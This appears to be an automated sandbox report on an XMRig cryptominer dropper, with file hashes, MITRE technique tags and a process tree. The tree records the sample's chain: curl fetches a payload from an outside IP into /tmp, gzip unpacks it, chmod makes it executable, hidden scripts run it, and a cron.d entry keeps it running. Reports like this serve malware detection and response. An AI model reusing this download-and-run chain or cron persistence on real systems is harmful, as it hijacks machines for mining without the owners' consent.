xmrig | 0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00

Analysis

max time kernel
18s
max time network
20s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/10/2026, 12:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
Size 6KB
Sample261027-ptscjacz91
SHA256 0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
MD5 03da3edba2f3fee5b163f59853f91f6c
SHA1 2a4a9063f49cc58fadb7e72c0594ec53b51e6c1f
SHA512 1b66c28569f13d45e0fa29ba4a9eefca1f92bcac5ddea9d18dcee174c3ec3020bb2a96ff3d999aadf3fbcaa6be2f6e539a864a7277d2a9ab1421586f620d6df9
SSDEEP 96:T5Pm+TKkEBAxYrnoGr1esEE8mj27v4dRDGtkPnQXSud35RBABtnNwrHYxI71Ooh+:ludkEBAkoaEmj2M0dSuZiBt3a7MoxEf
TLSH
T17CE1D6F0ECAC5A70B28CE5343BC9A24BF942063A5E787858F184A9446F2CC58347C766
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

antivm defense_evasion discovery execution xmrig miner persistence privilege_escalation

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-3.dat	family_xmrig
behavioral2/files/fstream-3.dat	xmrig

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
925	chmod
935	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/.zm2.sh	939	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
/tmp/xkv	1167	setsid

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/zm2	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/632/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/647/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/9/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/282/cmdline	.zm2.sh
File opened for reading	/proc/303/cmdline	.zm2.sh
File opened for reading	/proc/593/cmdline	.zm2.sh
File opened for reading	/proc/95/cmdline	.zm2.sh
File opened for reading	/proc/107/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/18/cmdline	.zm2.sh
File opened for reading	/proc/2/cmdline	.zm2.sh
File opened for reading	/proc/23/cmdline	.zm2.sh
File opened for reading	/proc/319/cmdline	.zm2.sh
File opened for reading	/proc/2/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/564/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/95/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/106/cmdline	.zm2.sh
File opened for reading	/proc/168/cmdline	.zm2.sh
File opened for reading	/proc/1/cmdline	.zm2.sh
File opened for reading	/proc/168/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/21/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/592/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/139/cmdline	.zm2.sh
File opened for reading	/proc/19/cmdline	.zm2.sh
File opened for reading	/proc/22/cmdline	.zm2.sh
File opened for reading	/proc/639/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/641/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/107/cmdline	.zm2.sh
File opened for reading	/proc/12/cmdline	.zm2.sh
File opened for reading	/proc/10/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/635/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/24/cmdline	.zm2.sh
File opened for reading	/proc/5/cmdline	.zm2.sh
File opened for reading	/proc/24/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/42/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/29/cmdline	.zm2.sh
File opened for reading	/proc/298/cmdline	.zm2.sh
File opened for reading	/proc/290/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/meminfo	awk
File opened for reading	/proc/290/cmdline	.zm2.sh
File opened for reading	/proc/9/cmdline	.zm2.sh
File opened for reading	/proc/13/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/11/cmdline	.zm2.sh
File opened for reading	/proc/21/cmdline	.zm2.sh
File opened for reading	/proc/588/cmdline	.zm2.sh
File opened for reading	/proc/19/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/145/cmdline	.zm2.sh
File opened for reading	/proc/135/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/25/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/29/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/643/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/7/cmdline	.zm2.sh
File opened for reading	/proc/593/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/145/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/298/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/3/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/23/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/28/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/317/cmdline	.zm2.sh
File opened for reading	/proc/1139/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/106/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/18/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/4/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for reading	/proc/5/cmdline	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.xkv.gz	curl
File opened for modification	/tmp/xkv	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for modification	/tmp/.zm2.sh	0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
File opened for modification	/tmp/��@@�h@8	sh

/tmp/0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
/tmp/0d9d17cbdfe8fd2ad2091cc9fa5af80596770b884c5b33a1b4e2e587c3848d00
1⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
PID:643
- /bin/date
  date "+%s"
  2⤵
  PID:645
- /bin/sed
  sed -e "s#^https\\{0,1\\}://##" -e "s#/.*\$##"
  2⤵
  PID:651
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:657
- /usr/bin/head
  head -1
  2⤵
  PID:658
- /usr/bin/head
  head -1
  2⤵
  PID:664
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:663
- /usr/bin/head
  head -1
  2⤵
  PID:671
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:670
- /usr/bin/head
  head -1
  2⤵
  PID:679
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:678
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:681
- /usr/bin/head
  head -1
  2⤵
  PID:682
- /usr/bin/head
  head -1
  2⤵
  PID:685
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:684
- /usr/bin/head
  head -1
  2⤵
  PID:689
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:688
- /usr/bin/head
  head -1
  2⤵
  PID:693
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:692
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:695
- /usr/bin/head
  head -1
  2⤵
  PID:696
- /usr/bin/head
  head -1
  2⤵
  PID:701
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:699
- /usr/bin/head
  head -1
  2⤵
  PID:705
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:704
- /usr/bin/head
  head -1
  2⤵
  PID:708
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:707
- /usr/bin/head
  head -1
  2⤵
  PID:712
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:711
- /usr/bin/head
  head -1
  2⤵
  PID:715
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:714
- /usr/bin/head
  head -1
  2⤵
  PID:718
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:717
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:720
- /usr/bin/head
  head -1
  2⤵
  PID:721
- /usr/bin/head
  head -1
  2⤵
  PID:724
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:723
- /usr/bin/head
  head -1
  2⤵
  PID:727
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:726
- /usr/bin/head
  head -1
  2⤵
  PID:730
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:729
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:733
- /usr/bin/head
  head -1
  2⤵
  PID:734
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:736
- /usr/bin/head
  head -1
  2⤵
  PID:737
- /usr/bin/head
  head -1
  2⤵
  PID:740
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:739
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:742
- /usr/bin/head
  head -1
  2⤵
  PID:743
- /usr/bin/head
  head -1
  2⤵
  PID:746
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:745
- /usr/bin/head
  head -1
  2⤵
  PID:749
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:748
- /usr/bin/head
  head -1
  2⤵
  PID:752
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:751
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:754
- /usr/bin/head
  head -1
  2⤵
  PID:755
- /usr/bin/head
  head -1
  2⤵
  PID:758
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:757
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:760
- /usr/bin/head
  head -1
  2⤵
  PID:761
- /usr/bin/head
  head -1
  2⤵
  PID:764
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:763
- /usr/bin/head
  head -1
  2⤵
  PID:767
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:766
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:769
- /usr/bin/head
  head -1
  2⤵
  PID:770
- /usr/bin/head
  head -1
  2⤵
  PID:773
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:772
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:775
- /usr/bin/head
  head -1
  2⤵
  PID:776
- /usr/bin/head
  head -1
  2⤵
  PID:779
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:778
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:781
- /usr/bin/head
  head -1
  2⤵
  PID:782
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:784
- /usr/bin/head
  head -1
  2⤵
  PID:785
- /usr/bin/head
  head -1
  2⤵
  PID:788
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:787
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:790
- /usr/bin/head
  head -1
  2⤵
  PID:791
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:793
- /usr/bin/head
  head -1
  2⤵
  PID:794
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:796
- /usr/bin/head
  head -1
  2⤵
  PID:797
- /usr/bin/head
  head -1
  2⤵
  PID:800
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:799
- /usr/bin/head
  head -1
  2⤵
  PID:803
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:802
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:805
- /usr/bin/head
  head -1
  2⤵
  PID:806
- /usr/bin/head
  head -1
  2⤵
  PID:809
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:808
- /usr/bin/head
  head -1
  2⤵
  PID:812
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:811
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:814
- /usr/bin/head
  head -1
  2⤵
  PID:815
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:817
- /usr/bin/head
  head -1
  2⤵
  PID:818
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:820
- /usr/bin/head
  head -1
  2⤵
  PID:821
- /usr/bin/head
  head -1
  2⤵
  PID:824
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:823
- /usr/bin/head
  head -1
  2⤵
  PID:827
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:826
- /usr/bin/head
  head -1
  2⤵
  PID:830
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:829
- /usr/bin/head
  head -1
  2⤵
  PID:833
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:832
- /usr/bin/head
  head -1
  2⤵
  PID:836
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:835
- /usr/bin/head
  head -1
  2⤵
  PID:839
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:838
- /usr/bin/head
  head -1
  2⤵
  PID:842
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:841
- /usr/bin/head
  head -1
  2⤵
  PID:845
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:844
- /usr/bin/head
  head -1
  2⤵
  PID:848
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:847
- /usr/bin/head
  head -1
  2⤵
  PID:851
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:850
- /usr/bin/head
  head -1
  2⤵
  PID:854
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:853
- /usr/bin/head
  head -1
  2⤵
  PID:857
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:856
- /usr/bin/head
  head -1
  2⤵
  PID:860
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:859
- /usr/bin/head
  head -1
  2⤵
  PID:863
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:862
- /usr/bin/head
  head -1
  2⤵
  PID:866
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:865
- /usr/bin/head
  head -1
  2⤵
  PID:869
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:868
- /usr/bin/head
  head -1
  2⤵
  PID:872
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:871
- /bin/mkdir
  mkdir -p /tmp
  2⤵
  PID:873
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:876
- /bin/date
  date "+%m-%d %H:%M:%S"
  2⤵
  PID:877
- /usr/bin/curl
  curl -sSL -A "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -m 600 -o /tmp/.xkv.gz http://166.0.100.70/sysmon.gz
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:878
- /bin/gzip
  gzip -dc /tmp/.xkv.gz
  2⤵
  PID:924
- /bin/chmod
  chmod 755 /tmp/xkv
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:928
- /usr/bin/wc
  wc -c
  2⤵
  PID:927
- /bin/rm
  rm -f /tmp/.xkv.gz
  2⤵
  PID:929
- /usr/bin/nproc
  nproc
  2⤵
  PID:931
- /usr/bin/awk
  awk "/MemAvailable/{print int(\$2/1024)}" /proc/meminfo
  2⤵
  - Reads runtime system information
  PID:932
- /bin/date
  date "+%F %T"
  2⤵
  PID:933
- /bin/cat
  cat
  2⤵
  PID:934
- /bin/chmod
  chmod 755 /tmp/.zm2.sh
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /usr/bin/id
  id -u
  2⤵
  PID:937
- /bin/chmod
  chmod 644 /etc/cron.d/zm2
  2⤵
  PID:938
- /tmp/.zm2.sh
  /tmp/.zm2.sh
  2⤵
  - Reads runtime system information
  PID:939
- - /usr/bin/head
    head -1
    3⤵
    PID:942
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:941
- - /usr/bin/head
    head -1
    3⤵
    PID:945
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:944
- - /usr/bin/head
    head -1
    3⤵
    PID:948
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:947
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:950
- - /usr/bin/head
    head -1
    3⤵
    PID:951
- - /usr/bin/head
    head -1
    3⤵
    PID:954
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:953
- - /usr/bin/head
    head -1
    3⤵
    PID:957
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:956
- - /usr/bin/head
    head -1
    3⤵
    PID:960
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:959
- - /usr/bin/head
    head -1
    3⤵
    PID:963
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:962
- - /usr/bin/head
    head -1
    3⤵
    PID:966
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:965
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:968
- - /usr/bin/head
    head -1
    3⤵
    PID:969
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:971
- - /usr/bin/head
    head -1
    3⤵
    PID:972
- - /usr/bin/head
    head -1
    3⤵
    PID:975
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:974
- - /usr/bin/head
    head -1
    3⤵
    PID:978
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:977
- - /usr/bin/head
    head -1
    3⤵
    PID:981
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:980
- - /usr/bin/head
    head -1
    3⤵
    PID:986
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:985
- - /usr/bin/head
    head -1
    3⤵
    PID:989
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:988
- - /usr/bin/head
    head -1
    3⤵
    PID:993
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:992
- - /usr/bin/head
    head -1
    3⤵
    PID:997
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:996
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1000
- - /usr/bin/head
    head -1
    3⤵
    PID:1001
- - /usr/bin/head
    head -1
    3⤵
    PID:1005
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1004
- - /usr/bin/head
    head -1
    3⤵
    PID:1008
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1007
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1011
- - /usr/bin/head
    head -1
    3⤵
    PID:1012
- - /usr/bin/head
    head -1
    3⤵
    PID:1016
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1015
- - /usr/bin/head
    head -1
    3⤵
    PID:1019
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1018
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1022
- - /usr/bin/head
    head -1
    3⤵
    PID:1024
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1026
- - /usr/bin/head
    head -1
    3⤵
    PID:1027
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1030
- - /usr/bin/head
    head -1
    3⤵
    PID:1031
- - /usr/bin/head
    head -1
    3⤵
    PID:1035
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1034
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1037
- - /usr/bin/head
    head -1
    3⤵
    PID:1038
- - /usr/bin/head
    head -1
    3⤵
    PID:1042
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1041
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1045
- - /usr/bin/head
    head -1
    3⤵
    PID:1046
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1049
- - /usr/bin/head
    head -1
    3⤵
    PID:1050
- - /usr/bin/head
    head -1
    3⤵
    PID:1054
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1053
- - /usr/bin/head
    head -1
    3⤵
    PID:1057
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1056
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1061
- - /usr/bin/head
    head -1
    3⤵
    PID:1062
- - /usr/bin/head
    head -1
    3⤵
    PID:1065
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1064
- - /usr/bin/head
    head -1
    3⤵
    PID:1069
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1068
- - /usr/bin/head
    head -1
    3⤵
    PID:1073
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1072
- - /usr/bin/head
    head -1
    3⤵
    PID:1077
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1076
- - /usr/bin/head
    head -1
    3⤵
    PID:1081
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1080
- - /usr/bin/head
    head -1
    3⤵
    PID:1084
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1083
- - /usr/bin/head
    head -1
    3⤵
    PID:1088
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1087
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1091
- - /usr/bin/head
    head -1
    3⤵
    PID:1092
- - /usr/bin/head
    head -1
    3⤵
    PID:1095
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1094
- - /usr/bin/head
    head -1
    3⤵
    PID:1099
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1098
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1102
- - /usr/bin/head
    head -1
    3⤵
    PID:1103
- - /usr/bin/head
    head -1
    3⤵
    PID:1107
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1106
- - /usr/bin/head
    head -1
    3⤵
    PID:1111
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1110
- - /usr/bin/head
    head -1
    3⤵
    PID:1114
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1113
- - /usr/bin/head
    head -1
    3⤵
    PID:1118
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1117
- - /usr/bin/head
    head -1
    3⤵
    PID:1123
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1122
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1125
- - /usr/bin/head
    head -1
    3⤵
    PID:1126
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1128
- - /usr/bin/head
    head -1
    3⤵
    PID:1129
- - /usr/bin/head
    head -1
    3⤵
    PID:1132
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1131
- - /usr/bin/head
    head -1
    3⤵
    PID:1135
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1134
- - /usr/bin/head
    head -1
    3⤵
    PID:1138
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1137
- - /usr/bin/head
    head -1
    3⤵
    PID:1142
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1141
- - /usr/bin/head
    head -1
    3⤵
    PID:1145
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1144
- - /usr/bin/head
    head -1
    3⤵
    PID:1148
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1147
- - /usr/bin/head
    head -1
    3⤵
    PID:1151
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1150
- - /usr/bin/head
    head -1
    3⤵
    PID:1154
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1153
- - /usr/bin/head
    head -1
    3⤵
    PID:1157
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1156
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1159
- - /usr/bin/head
    head -1
    3⤵
    PID:1160
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1162
- - /usr/bin/head
    head -1
    3⤵
    PID:1163
- - /usr/bin/head
    head -1
    3⤵
    PID:1166
- - /usr/bin/tr
    tr "\\0" "\\n"
    3⤵
    PID:1165
- /bin/sleep
  sleep 6
  2⤵
  PID:1168
- /usr/bin/head
  head -1
  2⤵
  PID:1173
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1172
- /usr/bin/head
  head -1
  2⤵
  PID:1176
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1175
- /usr/bin/head
  head -1
  2⤵
  PID:1179
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1178
- /usr/bin/head
  head -1
  2⤵
  PID:1182
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1181
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1184
- /usr/bin/head
  head -1
  2⤵
  PID:1185
- /usr/bin/head
  head -1
  2⤵
  PID:1188
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1187
- /usr/bin/head
  head -1
  2⤵
  PID:1191
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1190
- /usr/bin/head
  head -1
  2⤵
  PID:1194
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1193
- /usr/bin/head
  head -1
  2⤵
  PID:1197
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1196
- /usr/bin/head
  head -1
  2⤵
  PID:1200
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1199
- /usr/bin/head
  head -1
  2⤵
  PID:1203
- /usr/bin/tr
